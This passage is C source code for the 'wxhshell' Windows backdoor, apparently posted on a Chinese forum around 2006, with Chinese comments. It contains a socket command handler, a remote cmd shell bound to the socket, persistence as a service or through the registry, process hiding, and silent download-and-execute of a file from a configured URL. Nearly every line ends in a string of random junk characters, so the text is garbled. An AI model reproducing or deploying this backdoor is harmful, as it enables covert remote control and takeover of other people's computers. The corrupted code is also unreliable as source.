    switch(cmd[0]) { =L&_6lb  
  l1YyZ^Z  
  // 帮助 y5l4H8{h}  
  case '?': { k%c ?$n"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z#O{rwnl  
    break; ;9b?[G  
  } [?;oiEe.|  
  // 安装 eeuAo&L&  
  case 'i': { `(16_a  
    if(Install()) G.c s-f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W>s<&Vb  
    else EEF}Wf$f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W*VQ"CW{^]  
    break; UlQ}   
    } !74*APPHR  
  // 卸载 w6Ue5Ix,!  
  case 'r': { g[!sGa &  
    if(Uninstall()) '?Hy"5gUA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K@ W~  
    else IgSe%B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I7]45pF  
    break; mVk:[ }l6  
    } JCE364$$"  
  // 显示 wxhshell 所在路径 nj)M$'  
  case 'p': { k98--kc5  
    char svExeFile[MAX_PATH]; +]UPY5:F  
    strcpy(svExeFile,"\n\r"); A.y"R)G  
      strcat(svExeFile,ExeFile); !L>'g  
        send(wsh,svExeFile,strlen(svExeFile),0); v82@']IN  
    break; OhIUm4=|$  
    } RkC?(p  
  // 重启 aiUn bP  
  case 'b': { `\#Q r|GC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u;y1leG  
    if(Boot(REBOOT)) 4}96|2L5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x+%lNR  
    else { ,ad~ 6.Z_)  
    closesocket(wsh); 0wxQ,PI1'  
    ExitThread(0); "<bL-k*H)  
    } gTiDV{ Ip  
    break; Ho*S >Y  
    } }|Cw]GW  
  // 关机 7?p%~j  
  case 'd': { ^oaG.)3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NOo&5@z;H  
    if(Boot(SHUTDOWN)) TlAY=JwW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H2rh$2  
    else { "xYMv"X  
    closesocket(wsh); {}vW=  
    ExitThread(0); iZ)7%R?5  
    } + ^4"  
    break; dqPJ 2j $\  
    } |yw-H2k1  
  // 获取shell >>K) 4HYID  
  case 's': { yBq4~b~[  
    CmdShell(wsh); P0UMMn\-#  
    closesocket(wsh); <K|_M)/9  
    ExitThread(0); b(K.p?bt  
    break; 3{~h Rd  
  } (r:WG!I,  
  // 退出 [Fj h  
  case 'x': { ; N!K/[p=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x4Eq5"F7}  
    CloseIt(wsh); 0jE,=<W0>  
    break; pcm|  
    } !0E$9Xon  
  // 离开 4Uz6*IQNl  
  case 'q': { (\#j3Y)r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dzggl(  
    closesocket(wsh); rJD>]3D5p  
    WSACleanup(); u~% m(  
    exit(1); gXs@FhR0  
    break; u=k\]W-  
        } ENjrv   
  } d.2   
  } Hq6VwQu?  
Wf>UI)^n  
  // 提示信息 x&8fmUS:@;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2.?:[1g!  
} UV@<55)K  
  } ?RrJYj1  
`Fu|50_@V  
  return; Y~gpiL3u  
} vAU^<$D27  
>TwOL  
// shell模块句柄 ~r&Q\G  
int CmdShell(SOCKET sock) "fS9Nx3  
{ $Iv*?S"2  
STARTUPINFO si; j@2-^q:`  
ZeroMemory(&si,sizeof(si)); ApjLY58=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [ZDJs`h!`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I3s'44  
PROCESS_INFORMATION ProcessInfo; i1C]bUXA  
char cmdline[]="cmd"; '^lrGO6 z7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d<fS52~l  
  return 0; hW _NARA  
} +1F@vag7  
es&+5  
// 自身启动模式 oa1&9  
int StartFromService(void) l&U3jeW-o  
{ eHd{'J<  
typedef struct Q Gn4AW_  
{ oKzV!~{0M;  
  DWORD ExitStatus; 3l<)|!f]g  
  DWORD PebBaseAddress; st/Tb/  
  DWORD AffinityMask; DlfXzKn;  
  DWORD BasePriority; W>;AMun  
  ULONG UniqueProcessId; nolTvqMT  
  ULONG InheritedFromUniqueProcessId; 3J%jD  
}   PROCESS_BASIC_INFORMATION; T|ZT&x$z  
||9f@9  
PROCNTQSIP NtQueryInformationProcess; &=@ R,  
(#\3XBG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4$SW~BpQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]:m*7p\uk  
efZdtrKgy  
  HANDLE             hProcess; z&cfFx#h)  
  PROCESS_BASIC_INFORMATION pbi; wp.'M?6`L  
ra$_#HY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u\s mQhQGE  
  if(NULL == hInst ) return 0; [sACPn$f  
{l\v J#r:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o NJ/AT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {RwwSqJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S#2 'Jw  
B>YrDJUN  
  if (!NtQueryInformationProcess) return 0; 9Ni$nZN  
LPewoAXO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hFylQfd  
  if(!hProcess) return 0; ;2#HM^Mu  
ax'Dp{Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LTBqXh  
3_vggK%  
  CloseHandle(hProcess); :,]%W $f=  
tul5:}x3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9bqfZ"6nXY  
if(hProcess==NULL) return 0; Zff-Hl  
]V><gZ  
HMODULE hMod; %6kD^K-  
char procName[255]; j%~UU0(J  
unsigned long cbNeeded; 6;[iX`LL  
}*IX34  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n3~xiQ'  
)x?F1/  
  CloseHandle(hProcess); w4RP*Da?:  
$o {f)'.>n  
if(strstr(procName,"services")) return 1; // 以服务启动 (O /hu3  
Kgk9p`C(  
  return 0; // 注册表启动 v\$XhOK  
} |hOqz2|  
[4PG_k[uTJ  
// 主模块 vnXpC!1  
int StartWxhshell(LPSTR lpCmdLine) XW5r@:e  
{ mbJ#-^}V  
  SOCKET wsl; mZMLDs:  
BOOL val=TRUE; j"}alS`-  
  int port=0; AP/tBC eM  
  struct sockaddr_in door; ~`8`kk8  
f<0-'fGJd  
  if(wscfg.ws_autoins) Install(); CZ|Y o  
X(g<rz1J]  
port=atoi(lpCmdLine);  _U#ue  
?6tuo:gP  
if(port<=0) port=wscfg.ws_port; @0n #Qs|E!  
,f} s!>j  
  WSADATA data; fvN2]@:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; is#?O5:2  
|]\qI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0#XZ_(@%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gq+!%'][P  
  door.sin_family = AF_INET; ?}B_'NZ%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4+ yd/^S  
  door.sin_port = htons(port); #UI@<0P)  
0^:O:X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &ATjDbW*(  
closesocket(wsl); SijC E~P  
return 1; V&)-u(s_S/  
} *hFT,1WE=+  
vF1] L]z:?  
  if(listen(wsl,2) == INVALID_SOCKET) { !mq+Oz~  
closesocket(wsl); 7 tit>dJ  
return 1; l,,5OZw  
} eX;"kO  
  Wxhshell(wsl); t6s#19g  
  WSACleanup(); \CU.'|X  
-DU[dU*~  
return 0; 'OkF.bs  
%hcY [F<  
} 6 )xm?RK  
spd>.Cm`  
// 以NT服务方式启动 ?ry`+nx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #L BZ%%v  
{ ]e)<CE2   
DWORD   status = 0; #}e)*(  
  DWORD   specificError = 0xfffffff; ;Fp"]z!Qh+  
C!~&c7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y/)>\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jr\4x7a;`~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MP0gLi  
  serviceStatus.dwWin32ExitCode     = 0; Yl>@(tu)|  
  serviceStatus.dwServiceSpecificExitCode = 0; $+:_>n^#/  
  serviceStatus.dwCheckPoint       = 0; FW=oP>f]w  
  serviceStatus.dwWaitHint       = 0; .* V ZY  
.P-@ !Q5*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b s:E`Q  
  if (hServiceStatusHandle==0) return; "aAzG+NM  
CbI[K|  
status = GetLastError(); gnx!_H\h<  
  if (status!=NO_ERROR) vY }/CBmg  
{ $6BXoh!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5w iU4-{  
    serviceStatus.dwCheckPoint       = 0; VT;$:>! +  
    serviceStatus.dwWaitHint       = 0; 0alm/or  
    serviceStatus.dwWin32ExitCode     = status; v34XcA  
    serviceStatus.dwServiceSpecificExitCode = specificError; v7xc01x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N\<M4 fn  
    return; Ol D]*=.cO  
  } J?u@' "u  
`?91Cw=`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vezX/xD?  
  serviceStatus.dwCheckPoint       = 0; ^5j9WV  
  serviceStatus.dwWaitHint       = 0; |c dQJW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $WrDZU 2z  
} NR^z!+oSR  
T+N%KRl  
// 处理NT服务事件,比如:启动、停止 V 7%rKK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 97'*Xq  
{ ?IGT!'  
switch(fdwControl) y`7BR?l  
{ hJ+>Xm@@!  
case SERVICE_CONTROL_STOP: yH@W6'.  
  serviceStatus.dwWin32ExitCode = 0; I>b!4?h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ON] z-  
  serviceStatus.dwCheckPoint   = 0; |4ONGU*`E  
  serviceStatus.dwWaitHint     = 0; X0Xs"--}  
  { G\|VTqu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gtVI>D'(W  
  } g' H!%<  
  return; 8L6!CP_!  
case SERVICE_CONTROL_PAUSE: ?psvhB{O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :W-"UW,  
  break; kImS'i{A  
case SERVICE_CONTROL_CONTINUE: '-S^z"ZrI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u ;f~  
  break; Z &/b p1  
case SERVICE_CONTROL_INTERROGATE: SA)}---"  
  break; #3\F<AJ<VB  
}; u])N^AY"sj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 50uNgLs  
} /i"L@t)\t  
YeptYW@xfw  
// 标准应用程序主函数 _;L9&>!p6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i|)<#Ywl  
{ 1^b-J0  
_Cj u C`7  
// 获取操作系统版本 AQQeLdTq  
OsIsNt=GetOsVer(); s(r(! FZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]fnc.^{  
o!gl :izb  
  // 从命令行安装 =K- B I  
  if(strpbrk(lpCmdLine,"iI")) Install(); m9a(f>C  
Ca0~K42~  
  // 下载执行文件 ZlUd^6|:3  
if(wscfg.ws_downexe) { ?8)_,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qf6Vj,~N  
  WinExec(wscfg.ws_filenam,SW_HIDE); gle_~es'K  
} aS-rRL|\L  
A8dIL5  
if(!OsIsNt) { R'uM7,7  
// 如果时win9x,隐藏进程并且设置为注册表启动 q6%jCt2'  
HideProc(); 5BN!uUkm+  
StartWxhshell(lpCmdLine); ggzg, ~V  
} hwSn?bkw  
else )apqL{u:=  
  if(StartFromService()) Gp6|M2Vu_5  
  // 以服务方式启动 b(wW;C'#0p  
  StartServiceCtrlDispatcher(DispatchTable); 9EIHcUXe  
else D[-V1K&g  
  // 普通方式启动 ^} %Oq P  
  StartWxhshell(lpCmdLine); ))K3pKyb  
:{E;*v_!v  
return 0; Dny5X.8  
}
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只看该作者 1 发表于: 2006-10-10
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